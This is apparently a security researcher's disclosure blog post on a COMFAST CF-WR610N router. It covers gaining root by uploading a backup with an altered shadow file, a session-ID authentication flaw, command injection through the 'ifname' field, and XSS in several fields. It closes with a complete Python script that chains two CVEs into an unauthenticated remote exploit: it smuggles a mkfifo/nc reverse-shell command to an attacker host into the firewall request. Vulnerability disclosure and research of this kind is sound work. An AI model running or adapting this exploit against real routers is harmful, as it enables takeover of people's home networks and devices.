7 minute read

drawing


This post contains detailed information about a security research that i have been conducting on a COMFAST CF-WR610N wireless router. I tried to contact Comfast but there were no emails or contacts available besides a LinkedIn profile that belongs to a single person, which required me to connect in order to send messages, which I refuse to do. I didn’t gave up and I frequently searched for contact information and when I noticed they got a new website, I was finally able to get an email address. I sent an email but never got an answer, so I figure that they just don’t care about and don’t want people to reach out, so I decided to publish my findings with the RCE exploit that I have also developed.

Intro

I came accross COMFAST CF-WR610N while searching for a cheap wireles router fora project that I wanted to do, but after buying it I decided to do a bit of security research before putting it to use… And i am glad I did, since this is probably the worst router in terms of security I’ve ever tested! From a poorly designed feature that allows easy shell access, to remote code execution, a laughable authentication/autorization framework and a ridiculous amount of XSS, this router ticks all the boxes!

  • Affected firmware: V2.3.1 (and bellow)

History

  • 17/11/2022 - Vulnerability found
  • 18/11/2022 - CVE-ID requested
  • 09/02/2023 - CVE-2022-45724 and CVE-2022-45725 were reserved.

Physical Recon

First thing I did after I got the router was open it up!

drawing

The PCB exposed the UART interface, which had the pins available and marked for easy access… how nice of them! My initial thought was to connect to it in order to get access to the system, but my USB TTL adapter was broken, and I was waiting on a new one to arrive, so I decided to explore other options.
The port scan revealed that SSH was available on the default port, although the user manual didn’t say anything about it… seemed to be a good starting point, but unfortunately none of the default usernames/password combinations that I tried worked, so I moved on.

Shell from backups

Having to wait for the USB TTL adapter to access the UART interface, I switch my focus to the web application.
While looking and exploring the application, the first thing I noticed was the Backup option.
I remember a recent security assessment that I did where I was able to exploit this mechanism to get shell access, and so I decided to start there.

This was the usual backup feature that I was expecting, I had the possibility of downloading a backup file and another option to upload a backup file, simple enough.

drawing

The backup file was just a tar inside a gzip. After decompressing all of this, I got an etc directory, which is always a good sign! Inside there were a lot of files

drawing

An interesting one was off course the shadow file, as it contains user hashed credentials!

drawing

Used hashcat to try to crack this password, but no luck… Apparently, this password was the only good thing about this router, since it was not possible to crack it!
After this, I started thinking about a way to overcome this issue, when I realized “well, why not just change the password in the shadow file and upload it”? Seemed to be a good Idea, so I started by generating a new password using

openssl passwd -1 -salt salt root

And stored the output in the shadow file, replacing the existing one

drawing

Afterward I generated a new backup file (gzip compressed) - it needs to have the extension “file” otherwise it fails, so the file needs to be “backup.file”. The upload was successful and after waiting about 60 seconds for everything to restart, I tried using the SSH and go access!

drawing

CVE-2022-45724 Broken authentication framework

While I was using the web application, I collected all the requests with BURP and one of the things I noticed was that, when user was logged in, if another unauthenticated request was made to certain pages, I would get a new COMFAST_SESSIONID cookie from the server that I could use to perform authenticated requests!

drawing

So I decided to make an authenticated GET request to the “/cgi-bin/system-status” page using curl to try to get a new cookie, and it worked. This did in fact generated a new session ID, which is really strange because for some reason the framework works perfectly well when there is no user already logged in, but if there is, it assumes a completely different behavior and although it redirects you to the login page if you try this on a private window, it still generates valid session IDs!

So, using the new cookie to tried to change something in the application, just to ensure that I did in fact have a valid cookie.

drawing

As you can see, it worked. This meant that, anyone could simply get a valid Cookie, as long as a user is logged in, without any credentials, and perform unauthenticated requests.

CVE-2022-45725 Improper Input Validation leading to RCE

With the SSH access, I located the web server binary along with other binaries that I saw were running by default, and started looking at those. I use Ghidra to reverse engineer binary files, and I got a few plugins [Rhabdomancer] (https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java) and [Haruspex] (https://raw.githubusercontent.com/0xdea/ghidra-scripts/main/Haruspex.java) to help find juicy methods that would allow me to get code execution. After a bit of searching and back and forth with all the binaries since some of those were APIs that were used by other binaries, I found that, when setting the firewall configuration, the ifname variable looked promising. By default in most methods the application would set this using WAN or LAN

drawing

But here the ifname variable was being used directly without any input verification, and since this would also be used on a local command, it looked even more promising.

drawing

This behavior happened in other variables as well, but following the rest of the code flow I confirmed that ifname was the only (that I saw) that would actually be used in a system call, so I tried a quick test to create a file in the tmp directory.

drawing

And it worked!

drawing

From here, getting a reverse shell was easy! And since (from the previous vulnerability) I know that, under certain conditions, I can force the server to generate a session ID, triggering this vulnerability could be achieved by an unauthenticated user. After getting a session cookie, I just had to use it to make a new request in order to get a reverse shell.

drawing

And got a shell

drawing

Unauthenticated exploit

It is possible to combine and take advantage of both CVE-2022-45724 and CVE-2022-45725 to achieve an unauthenticated RCE (as long as there is a user logged in, in order to trigger the bug in the authentication framework)


import argparse
import requests
from rich.console import Console
import json

console = Console()
PAYLOAD = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc %s %s >/tmp/f"
proto = "http://"

SESSION_ID_URI="/cgi-bin/system-status?method=GET&section=language"
EXPLOIT_URI="/cgi-bin/mbox-config?method=SET&section=arp_bind_list"


if __name__ == "__main__":

    arg_parser = argparse.ArgumentParser(description='Comfast CF-WR6110N Unauthenticated RCE')
    arg_parser.add_argument('-rh', dest='host', default="192.168.10.1", help='Host. (Default is 192.168.10.1)')
    arg_parser.add_argument('-s', dest="secure", action='store_true', default=False, help='For HTTPS usage instead of HTTP. Default is HTTP')
    arg_parser.add_argument('-lh', dest="attacker_host", required=True, help='Attacker host address')
    arg_parser.add_argument('-lp', dest="attacker_port", required=True, help='Attacker host port')

    args = arg_parser.parse_args()
    console.print("Don't forget to run a listener to get the reverse shell!", style="bold red")


    host = args.host
    if args.secure:
        proto = "https://"
    

    console.print("POST request to get the server to generate a valid COMFAST_SESSIONID", style="bold")
    data = {}
    url = proto + host + SESSION_ID_URI
    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
    r = requests.post(url, data=json.dumps(data), headers=headers)

    console.print("Running exploit!", style="bold")
    attacker_host = args.attacker_host
    attacker_port = args.attacker_port

    payload = PAYLOAD%(attacker_host, attacker_port)
    data = {'add_list': [{'ip': '192.168.1.1', 'mac': 'dc:4e:f4:08:68:19', 'ifname': 'lan;' + payload, 'remark': ''}], 'operate': 'add'}
    url = proto + host + EXPLOIT_URI
    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
    r = requests.post(url, data=json.dumps(data), headers=headers)

    console.print("Exploit successful. Enjoy your shell :-)", style="bold")


Multiple XSS

While testing, I also found that most of the fields of the web application were vulnerable to XSS due to the lack of input validation.

drawing

drawing

Here is a list of vulnerable fields:

  • VLAN setup menu
    • netmask
    • comments
    • ipaddr
  • DHCP Settings > Static list
    • commentname
    • ip
  • Bandwidth control > Pp limit
    • comment
    • ip

I also found that most of the input validation were being made via JavaScript, so client-side only, which is easily bypassed! An example is the one below, where the field restricts the length to 32 characters only

drawing

drawing

Updated: